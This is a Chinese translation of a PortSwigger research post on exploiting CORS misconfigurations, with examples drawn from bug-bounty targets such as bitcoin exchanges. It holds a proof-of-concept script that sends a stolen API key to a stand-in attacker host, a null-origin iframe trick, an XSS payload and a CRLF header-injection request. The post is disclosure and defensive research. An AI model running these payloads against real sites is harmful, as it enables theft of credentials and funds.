原文:https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

本文内容摘自我在AppSec USA大会上发表的演讲,准确来说,这里已经做了极大的简化。如果您有时间(或在阅读本文是遇到难以理解的内容)的话,我强烈建议您查看相应的幻灯片视频

跨源资源共享(CORS)是一种放宽同源策略要求的机制,以使不同的网站可以通过浏览器进行通信。通常来说,人们普遍认为某些CORS配置是非常危险的,但具体到这些配置的细微差别及其含义,却很少有人能够正确理解。在这篇文章中,我将为读者展示如何从黑客的角度来批判性地检查CORS配置的漏洞,并利用它们来窃取比特币。

黑客之于CORS


网站可以通过发送以下HTTP响应头部来启用CORS:

Access-Control-Allow-Origin: https://example.com

这样的话,就允许访问指定的源(域,这里为“https://example.com”)的浏览器向该网站发送跨域请求并读取响应——对于[同源策略](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy "同源策略")来说,通常是不允许的。在默认情况下,发送跨域请求时不会携带cookie或其他凭据,因此,它不能用于窃取与用户相关的敏感信息(如CSRF令牌)。不过,网站服务器也可以使用以下头部来启用凭据传输:

Access-Control-Allow-Credentials:true

这样就能建立起信任关系:如果example.com上存在XSS漏洞的话,对该网站来说,可能会带来巨大的危害。

大隐隐于市


如您所见,实现对单个域的信任是非常容易的事情。不过,如果需要信任多个域的话,那该怎么办呢?根据相关规范的建议,只需列出相关的域,并用空格加以分隔即可,例如:

Access-Control-Allow-Origin:http://foo.com http://bar.net


但是,没有哪个浏览器真正支持这一特性。

当然,读者可能还希望使用通配符来信任所有子域,具体方法是:

Access-Control-Allow-Origin: *.portswigger.net
But that won't work either. The only wildcard origin is '*'

实际上,CORS自身也提供了一个隐蔽的安全措施。如果您想完全禁用SOP,并通过下面的头部组合将自己的网站暴露给所有人:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

这时,将在浏览器控制台中收到以下错误消息:

“当凭证标志为true时,无法在Access-Control-Allow-Origin中使用通配符。”

规范中提到了这个异常,并且Mozilla的文档也提供了相应的说明

“在响应凭证请求时,服务器必须指定域,并且不能使用通配符”

换句话说,使用通配符可以有效地禁用Allow-Credentials头部。

由于存在这些限制,所以,许多服务器都是以编程的方式根据用户提供的Origin头部值来生成“Access-Control-Allow-Origin”头部的。如果您发现了带有“Access-Control- *”头部却未声明相关域的HTTP响应的话,则强烈表明,该服务器是根据您的输入来生成头部的。而其他服务器只有收到包含Origin头部的请求后,才会发送CORS头部,这使得相关的漏洞非常容易被遗漏。

凭证与比特币


因此,许多网站都是从用户输入中获得允许跨源访问的域名的。那么,这会不会导致安全隐患呢?于是,我决定评估一些漏洞赏金网站并从中寻找答案。请注意,虽然这些网站都提供了漏洞赏金计划,但是,前面提到的漏洞还是被许多赏金猎人所遗漏了。

我很快就复现了Evan Johnson的发现,即许多应用程序在做出响应之前,并没有对源进行检查,同时,我还找到了一个易受攻击的比特币交易所(遗憾的是,该交易所不愿意公开其名称):

GET /api/requestApiKey HTTP/1.1
Host: <redacted>
Origin: https://fiddle.jshell.net
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://fiddle.jshell.net
Access-Control-Allow-Credentials: true 

{"[private API key]"}

与此同时,我还建立了一POC代码,用于证明窃取用户的私有API密钥是一件多么轻而易举的事情:

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://btc-exchange/api/requestApiKey',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};

在获取用户的API密钥后,我可以禁用帐户的通知功能,启用2FA以将其锁定,并将其比特币转移到任意地址。由此看来,头部配置错误是一种非常严重的安全漏洞。当然,我还是克制住了将比特币收入囊中并跑路的冲动,并向该交易所提交了该漏洞,之后,他们仅用了20分钟就修复了该漏洞。

此外,对于一些网站来说,当对源进行验证以确定是否应该信任它时,常常会遇到经典的URL解析错误。例如,有一个网站,不妨称之为advisor.com,完全信任以advisor.com结尾的所有域名,包括“definitelynotadvisor.com”。更糟糕的是,第二个比特币交易所(我们称之为btc.net)信任所有以“https://btc.net”开头的域名,包括“https://btc.net.evil.net”。不幸的是,我还没有来得及构建POC,这个网站就突然永久性地停止了运营。当然,我也懒得去了解到底是咋回事。

当Origin的值为null


如果您对上面的内容非常关注的话,很可能想知道什么情况下Origin的值为null。按照相关规范的说法,重定向会触发这种情况,此外,根据stackoverflow上的某些帖子来看,本地HTML文件也可能导致这种情况。也许是由于这种情况与本地文件有关,我发现有不少网站将其列入了白名单,包括Google的PDF阅读器:

GET /reader?url=zxcvbn.pdf
Host: docs.google.com
Origin: null

HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

此外,还包括第三个比特币交易所。这对攻击者来说再好不过了,因为任何网站都可以通过沙箱化的iframe轻松获得值为null的域:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>’></iframe>

使用一系列CORS请求,攻击者就可以窃取用户钱包的加密备份,然后立即展开离线蛮力破解,就能得到该钱包的密码了。如果用户的密码强度不高的话,他们的比特币就会轻而易举地被攻击者收入囊中。

更加要命的是,这种特殊的错误配置非常常见——只要你肯找,就肯定能找到。实际上,选用"null"关键字本身就注定要出问题,因为在某些应用程序中,如果没有配置源白名单,可能会导致……

Access-Control-Allow-Origin: null

哎……

干掉HTTPS


在这项研究中,我还发现了另外两个流行的白名单实现漏洞,并且这些漏洞通常都是伴生的。其中,第一个漏洞是轻率地将所有子域都列入白名单——甚至包括根本就不存在的子域。许多公司的子域名都会指向由第三方托管的应用程序,而这些应用程序的安全性一般都很糟糕。如果天真地相信这些程序中没有XSS漏洞,并且将来也不会有的话,那么,只能说有这种想法的人真是活该倒霉。

第二个常见漏洞是无法限制源协议。如果一个网站是通过HTTPS访问的,同时还乐于接受来自“http://wherever”的CORS交互的话,那么攻击者一旦发起主动中间人(MITM)攻击,那么就几乎可以完全绕过该站点的HTTPS。并且,HTTP Strict Transport Security功能和cookie的secure属性在防止这种攻击方面,几乎没有任何作用。对于这种攻击的具体演示,请参阅我的演讲文稿。

滥用未启用凭证的CORS


我们已经看到,启用凭证后,CORS可能非常危险。如果没有凭证,许多攻击将变得无关痛痒;这意味着,您不能使用用户的cookie,这样的话,让用户的浏览器发送请求,与自己发送请求一样,根本无法获得更多的优势。即使是令牌固定攻击也是行不通的,因为浏览器会忽略对cookie进行的任何重设。

一个值得注意的例外情况是,当受害者的网络位置作为一种身份验证的时候。这种情况下,您可以使用受害者的浏览器作为代理,来绕过基于IP的身份验证来访问Intranet应用程序。就危害程度而言,这种漏洞与DNS重新绑定类似,但要利用过程要更加繁琐。

Vary: origin


如果您考察CORS规范中的“实现注意事项”部分,就会发现,它让开发人员在动态生成Access-Control-Allow-Origin头部时,同时指定“Vary:Origin”HTTP头部。

这听起来可能很简单,但是包括W3C本身在内的很多人都忘了下面这句精彩的名言

我必须说,即使W3C都没能正确配置其服务器,所以,我很难相信很快会有更多网站支持CORS。
- RetoGmür

如果我们忽视这个建议,会怎样呢?大多数情况下,人们就是这样做的。然而,在适当的情况下,它可能导致一些相当严重的攻击。

客户端缓存中毒


有时候,我们会遇到含有反射型XSS漏洞的页面,并且该漏洞位于自定义HTTP头部中。假设该网页并没有对响应该自定义头部的内容进行编码:

GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert(1)>

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert(1)>

如果不借助CORS的话,该漏洞是无法利用的,因为没有办法让某人的浏览器跨域发送X-User-id头部。使用CORS后,我们就可以让他们发送这种请求。当然,就其本身来说,这是无用的,因为包含我们注入的JavaScript的响应是不会被呈现的。但是,如果未指定Vary:Origin的话,那么,该响应可以存储到浏览器的缓存中,并在浏览器导航到相关的URL时立即显示。我已经创建了一个fiddle,用来演示对您选择的URL进行攻击。由于这种攻击使用了客户端缓存,因此,它非常可靠。

服务器端缓存中毒


当天上的星星排成一条直线的时候,我们就能通过HTTP头部注入,利用服务器端缓存中毒来创建存储型XSS漏洞了。

如果应用程序会响应Origin头部,并且不检查它是否为\r之类的非法字符的话,那么,我们实际上就获得了一个针对IE/Edge浏览器用户的HTTP头部注入漏洞,因为Internet Explorer和Edge浏览器会将\r\n(0x0d)视为有效的HTTP头部终止符:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer将该响应视为:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

不过,这个漏洞无法直接利用,因为攻击者无法让某人的网络浏览器发送这种畸形的的头部;然而,我们可以利用Burp Suite手动构造这种请求,然后,服务器端缓存可能会保存相应的响应,并将其提供给其他人。我使用的有效载荷会将页面的字符集改为UTF-7,这一招对构造XSS漏洞来说非常有用。

好心办坏事


刚开始的时候,我没想到动态生成Access-Control-Allow-Origin头部的网站的数量是如此之多。之所以出现这种情况,究其根本原因,可能是CORS的两个主要限制所致——既不允许在单个头部中指定多个域,也不允许在子域使用通配符。这使得许多开发人员别无选择,只能动态生成相应的头部,这样一来,就不得不面对以上讨论的各种实现漏洞。我认为,如果规范作者和浏览器允许使用源列表和部分通配符的话,动态头部生成和相关漏洞的数量将会直线下降。

浏览器的另一个可改进的地方在于,将通配符+凭证异常应用于使用null的域。目前,使用null的域的危险性要远甚于使用通配符的域,我想很多人会对此感到非常惊讶。

其他浏览器也可以尝试阻止我发明的“反向混合内容”攻击——HTTP站点使用CORS从HTTPS站点窃取数据。不过,我不知道这会造成什么样的破损。

简单性和安全性本可以相辅相成的,但是,由于浏览器不支持声明多个域,从而将复杂性直接推给了开发人员,从而带来了严重的恶果。我认为,这主要归咎于规范的设计以及实现的难度方面。

小结


CORS是一种功能强大技术,使用时需要格外谨慎,因为,危险的漏洞利用并不总是需要精湛的技能和错综复杂的攻击链——通常情况下,只需要对规范有基本的了解和一点点的关注就足够了。如果您想图省劲的话,这里告诉您一个好消息,目前Burp Suite的扫描器已经能够识别并报告文中讨论的所有缺陷了。

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖